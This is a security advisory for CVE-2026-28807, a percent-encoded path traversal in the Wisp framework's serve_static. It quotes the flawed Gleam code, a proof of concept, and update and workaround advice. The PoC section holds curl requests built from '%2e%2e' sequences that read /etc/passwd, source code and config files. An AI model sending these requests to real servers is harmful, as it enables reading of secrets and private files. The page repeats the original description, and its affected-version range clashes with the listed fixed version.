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8.3
Wisp Allows Access to Sensitive Files via Malicious URLs
CVE-2026-28807
EEF-CVE-2026-28807
GHSA-h7cj-j2vv-qw8r
GHSA-h7cj-j2vv-qw8r
Summary
Wisp's file server feature allows unauthorized access to sensitive files on the system, such as system configuration files or project source code, by crafting a malicious URL. This is a serious security risk, as an attacker can use this vulnerability to access and potentially steal sensitive information. To fix this issue, update Wisp to the latest version or apply a patch that fixes the directory traversal vulnerability in the file server.
What to do
- Update wisp to version 2.2.1.
Affected software
| Vendor | Product | Affected versions | Fix available |
|---|---|---|---|
| – | wisp | > 2.1.1 , <= 2.2.1 | 2.2.1 |
Original title
Wisp Vulnerable to Path Traversal
Original description
### Summary
`wisp.serve_static` is vulnerable to arbitrary file read via percent-encoded path traversal (`%2e%2e`). The directory traversal sanitization runs before percent-decoding, allowing encoded `..` sequences to bypass the filter. An unauthenticated attacker can read any file readable by the application process in a single HTTP request.
### Details
In `src/wisp.gleam`, `serve_static` processes the request path in this order:
```gleam
let path =
path
|> string.drop_start(string.length(prefix))
|> string.replace(each: "..", with: "") // Step 1: sanitize
|> filepath.join(directory, _)
let path = case uri.percent_decode(path) { // Step 2: decode
Ok(p) -> p
Error(_) -> path
}
```
Sanitization (step 1) strips literal `..` but runs **before** percent-decoding (step 2). The encoded sequence `%2e%2e` passes through `string.replace` unchanged, then `uri.percent_decode` converts it to `..`, which the OS resolves as directory traversal when the file is read.
### PoC
Any application using `wisp.serve_static`:
```gleam
fn handle_request(req: wisp.Request) -> wisp.Response {
use <- wisp.serve_static(req, under: "/static", from: priv_directory())
wisp.not_found()
}
```
Exploit (requires `--path-as-is` to prevent client-side normalization):
```bash
# Read /etc/passwd
curl -s --path-as-is \
"http://localhost:8080/static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
# Read project source code
curl -s --path-as-is \
"http://localhost:8080/static/%2e%2e/%2e%2e/src/app.gleam"
# Read project config
curl -s --path-as-is \
"http://localhost:8080/static/%2e%2e/%2e%2e/gleam.toml"
```
### Impact
This is a **path traversal / arbitrary file read** vulnerability (CWE-22). Any application using `wisp.serve_static` is affected. An unauthenticated attacker can read:
- Application source code
- Configuration and secrets in `priv/`
- `.env` files, `secret_key_base`, private keys
- System files (`/etc/passwd`, `/etc/shadow` if permissions allow)
### Workaround
Copy the [fixed implementation](https://github.com/gleam-wisp/wisp/blob/161118c431047f7ef1ff7cabfcc38981877fdd93/src/wisp.gleam#L1413-L1461) to your codebase and replace references to wisp.serve_static with this version in your codebase.
### References
* Commit that introduced the vulnerability: https://github.com/gleam-wisp/wisp/commit/129dcb1fe10ab1e676145d91477535e1c90ab550
* Patch Commit: https://github.com/gleam-wisp/wisp/commit/161118c431047f7ef1ff7cabfcc38981877fdd93
`wisp.serve_static` is vulnerable to arbitrary file read via percent-encoded path traversal (`%2e%2e`). The directory traversal sanitization runs before percent-decoding, allowing encoded `..` sequences to bypass the filter. An unauthenticated attacker can read any file readable by the application process in a single HTTP request.
### Details
In `src/wisp.gleam`, `serve_static` processes the request path in this order:
```gleam
let path =
path
|> string.drop_start(string.length(prefix))
|> string.replace(each: "..", with: "") // Step 1: sanitize
|> filepath.join(directory, _)
let path = case uri.percent_decode(path) { // Step 2: decode
Ok(p) -> p
Error(_) -> path
}
```
Sanitization (step 1) strips literal `..` but runs **before** percent-decoding (step 2). The encoded sequence `%2e%2e` passes through `string.replace` unchanged, then `uri.percent_decode` converts it to `..`, which the OS resolves as directory traversal when the file is read.
### PoC
Any application using `wisp.serve_static`:
```gleam
fn handle_request(req: wisp.Request) -> wisp.Response {
use <- wisp.serve_static(req, under: "/static", from: priv_directory())
wisp.not_found()
}
```
Exploit (requires `--path-as-is` to prevent client-side normalization):
```bash
# Read /etc/passwd
curl -s --path-as-is \
"http://localhost:8080/static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
# Read project source code
curl -s --path-as-is \
"http://localhost:8080/static/%2e%2e/%2e%2e/src/app.gleam"
# Read project config
curl -s --path-as-is \
"http://localhost:8080/static/%2e%2e/%2e%2e/gleam.toml"
```
### Impact
This is a **path traversal / arbitrary file read** vulnerability (CWE-22). Any application using `wisp.serve_static` is affected. An unauthenticated attacker can read:
- Application source code
- Configuration and secrets in `priv/`
- `.env` files, `secret_key_base`, private keys
- System files (`/etc/passwd`, `/etc/shadow` if permissions allow)
### Workaround
Copy the [fixed implementation](https://github.com/gleam-wisp/wisp/blob/161118c431047f7ef1ff7cabfcc38981877fdd93/src/wisp.gleam#L1413-L1461) to your codebase and replace references to wisp.serve_static with this version in your codebase.
### References
* Commit that introduced the vulnerability: https://github.com/gleam-wisp/wisp/commit/129dcb1fe10ab1e676145d91477535e1c90ab550
* Patch Commit: https://github.com/gleam-wisp/wisp/commit/161118c431047f7ef1ff7cabfcc38981877fdd93
nvd CVSS4.0
8.7
Vulnerability type
CWE-22
Path Traversal
- https://github.com/gleam-wisp/wisp/commit/161118c431047f7ef1ff7cabfcc38981877fdd...
- https://github.com/gleam-wisp/wisp/security/advisories/GHSA-h7cj-j2vv-qw8r
- https://github.com/gleam-wisp/wisp/commit/129dcb1fe10ab1e676145d91477535e1c90ab5...
- https://github.com/advisories/GHSA-h7cj-j2vv-qw8r
- https://nvd.nist.gov/vuln/detail/CVE-2026-28807
- https://github.com/gleam-wisp/wisp Product
Published: 11 Mar 2026 · Updated: 14 Mar 2026 · First seen: 10 Mar 2026